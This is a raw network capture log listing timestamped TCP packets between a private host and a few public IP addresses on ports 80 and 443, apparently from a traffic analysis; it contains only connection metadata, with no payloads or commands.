Apr 24, 2024 17:37:14.414431095 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.414449930 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.414475918 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.414495945 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.414547920 CEST	49708	80	192.168.2.8	186.13.17.220
Apr 24, 2024 17:37:14.788753033 CEST	80	49708	186.13.17.220	192.168.2.8
Apr 24, 2024 17:37:14.953202963 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:15.239890099 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:15.239990950 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:15.248399973 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:15.523061991 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:15.523112059 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:15.523207903 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:15.554992914 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:15.555028915 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:15.581041098 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:15.884784937 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:15.884886026 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:15.966094017 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:15.966114044 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:15.966411114 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:15.966454029 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:15.967999935 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.008132935 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.051417112 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.051630974 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.052186966 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.052263021 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.052781105 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.052829027 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.053108931 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.053154945 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.053571939 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.054178953 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.054224014 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.054270983 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.054342031 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.054491043 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.054536104 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.054843903 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.055273056 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.055310965 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.336667061 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.336808920 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.336884975 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.340065002 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.340568066 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.340626955 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.340878010 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.340915918 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.341087103 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.341141939 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.341176033 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.341212034 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.341556072 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.341613054 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.341653109 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.341825008 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.341861963 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.342051029 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.342087030 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.342134953 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.342169046 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.342634916 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.342670918 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.343144894 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.343183994 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.343200922 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.343235970 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.343621969 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.343663931 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.344047070 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.344082117 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.345454931 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.346110106 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.346533060 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.347471952 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.347522020 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.415638924 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.415708065 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.415718079 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.415744066 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.415762901 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.415765047 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.415775061 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.415780067 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.415812016 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.415839911 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.571909904 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.571962118 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.571990013 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.572021008 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.572052956 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.572063923 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.599982977 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.600054979 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.600063086 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.600121021 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.620543957 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.620604038 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.622082949 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.622174978 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.622412920 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.622452974 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.623347044 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.623388052 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.631063938 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.631089926 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.631145954 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.631181955 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.631278992 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.631302118 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.631318092 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.631335020 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.631808043 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.631823063 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.631855965 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.631870985 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.632287979 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.632329941 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.632462025 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.632491112 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.632498026 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.632527113 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.632792950 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.632833004 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.633048058 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.633086920 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.633294106 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.633371115 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.633531094 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.633569956 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.633752108 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.633790970 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.633923054 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.633960962 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.634176970 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.634195089 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.634216070 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.634238958 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.634427071 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.634465933 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.634480000 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.634515047 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.634773970 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.634812117 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.634964943 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.635008097 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.635018110 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.635054111 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.635509014 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.635560036 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.635569096 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.635602951 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.636015892 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.636070013 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.636077881 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.636112928 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.636148930 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.636183977 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.636420012 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.636460066 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.636528969 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.636574030 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.637114048 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.637156963 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.637681961 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.637723923 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.638094902 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.638144016 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.638184071 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.638545036 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.638632059 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.639089108 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.639142990 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.639256001 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.639303923 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.666124105 CEST	49712	443	192.168.2.8	23.66.133.162
Apr 24, 2024 17:37:16.666143894 CEST	443	49712	23.66.133.162	192.168.2.8
Apr 24, 2024 17:37:16.738943100 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:16.738981962 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:16.739095926 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:16.743666887 CEST	49713	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:16.743685961 CEST	443	49713	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:16.905045033 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.905319929 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.905411959 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.907632113 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.907699108 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.908008099 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.908055067 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.910281897 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.910742044 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.910798073 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.911257029 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.911300898 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.911324978 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.911355972 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.920041084 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.920238018 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.920310020 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.920635939 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.920687914 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.920742035 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.920783043 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.921088934 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.921283960 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.921318054 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.921329975 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.921369076 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.921657085 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.921701908 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.921722889 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.921760082 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.922115088 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.922158957 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.922192097 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.922208071 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.922230959 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.922252893 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.922722101 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.922764063 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.922775984 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.922805071 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.922835112 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.923053026 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.923259020 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.923306942 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.923525095 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.923572063 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.923589945 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.923626900 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.923660994 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.923696041 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.924137115 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.924180031 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.924217939 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.924226046 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.924259901 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.924436092 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.924482107 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.924503088 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.924534082 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.924668074 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.924709082 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.925076962 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.925117016 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.925180912 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.925218105 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.925267935 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.925307035 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.925380945 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.925422907 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.926045895 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.926095009 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.926171064 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.926214933 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.926404953 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.926450968 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.926472902 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.926507950 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.926876068 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.926938057 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.926980019 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.926996946 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.927033901 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.927355051 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.927395105 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.927437067 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.927489042 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.927517891 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.927558899 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.927807093 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.927854061 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928025961 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.928071022 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928117037 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.928158998 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928167105 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.928221941 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928337097 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.928374052 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928518057 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.928580999 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928673983 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.928714037 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928823948 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.928867102 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.928961039 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929001093 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929007053 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.929034948 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.929184914 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929227114 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.929301023 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929347992 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.929425001 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929465055 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.929755926 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929796934 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929842949 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.929944038 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929982901 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.929997921 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.930221081 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.930233955 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.930246115 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.930264950 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.930283070 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.930780888 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.931304932 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.931358099 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.931757927 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.931806087 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.931921959 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.931967020 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.932045937 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.932086945 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.932233095 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.932280064 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.932558060 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.933085918 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.933134079 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.933599949 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.933645964 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.934062958 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.934109926 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.934622049 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.934675932 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:16.934676886 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:16.934717894 CEST	49711	80	192.168.2.8	186.145.236.18
Apr 24, 2024 17:37:17.190782070 CEST	80	49711	186.145.236.18	192.168.2.8
Apr 24, 2024 17:37:17.190871954 CEST	80	49711	186.145.236.18	192.168.2.8
